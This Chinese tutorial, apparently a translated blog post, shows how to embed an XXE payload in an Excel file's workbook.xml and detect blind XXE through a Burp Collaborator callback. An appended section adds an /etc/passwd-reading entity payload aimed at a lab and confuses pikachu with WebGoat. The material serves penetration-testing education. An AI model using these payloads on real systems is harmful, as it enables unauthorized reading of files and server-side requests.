利用EXCEL进行XXE攻击

0x00 前言

XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。

0x01 这是什么方式

实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
在这篇文章中,我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见,但它肯定并不罕见,本文中的任何内容都可能适用于这些应用程序。

0x02 入门

假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容,但实际上并不是必需的。如果您没有安装Excel?您可以使用Google表格,然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。

用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。

我在实际中发现了这一点,大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序,但您的里程可能会有所不同。

鉴于这种方法,根据经验,通常最好先尝试xl/workbook.xml,这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单,将内容压缩回Excel文件并将其上传到应用程序。

0x03 使用BURP COLLABORATOR对XXE进行盲测

在我们的演示应用程序中,无法将数据检索到HTTP响应中,因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初始测试,因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞,即使我们可能无法轻易利用它。

打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开。

单击“复制到剪贴板”。就我而言,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值,而不是下面显示的值。:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

你的xl/workbook.xml现在会是像这样。

现在将其压缩以创建新的Excel文件。

现在将此poc.xlsx上传到你的应用程序。在这种情况下,有一个简单的ReactJS演示应用程序,它允许我们将文件拖入。你的应用程序应该会有所不同,但都是一个方式。

现在检查您的Burp Collaborator客户端,看看您是否有任何点击。

成功。我们已确认XXE。

0x04 总结

通过Excel利用XML外部攻击非常简单,一旦你找到它,基本上你通常使用的任何盲技术都将与更标准的HTTP请求一样利用。

本文是EXPLOITING XXE WITH EXCEL的翻译文章

XXE攻击(XML External Entity Injection)是一种常见的网络安全攻击,它利用 XML 解析器的漏洞,将恶意的 XML 实体注入到应用程序,从而实现对目标系统的攻击。下面介绍如何在 pikachu 靶场上实施 XXE 攻击。 步骤1:选择目标 在 pikachu 靶场,可以选择一个目标进行攻击。例如,选择其一个常见的目标“WebGoat”,这是一个用于学习 Web 应用程序漏洞的靶场。在 pikachu 靶场,可以通过访问“https://ip:8443/WebGoat/attack”进入 WebGoat 靶场。 步骤2:查找漏洞 在 WebGoat 靶场,有许多不同类型的漏洞可供攻击利用。在这里,我们将选择“XXE Injection”漏洞进行攻击。 步骤3:编写攻击脚本 编写攻击脚本,该脚本将恶意的 XML 实体注入到目标应用程序。以下是一个简单的攻击脚本示例: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` 在此脚本,我们注入了一个实体“xxe”,它将读取目标系统的“/etc/passwd”文件并将其返回。 步骤4:发送攻击攻击脚本发送到目标系统。在 WebGoat 靶场,可以通过简单地将脚本复制并粘贴到相应的输入框进行攻击。 步骤5:获取攻击结果 如果攻击成功,将返回目标系统的“/etc/passwd”文件内容。 需要注意的是,XXE 攻击可能会导致目标系统的敏感信息泄露,因此请在合法授权和合规框架内进行测试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值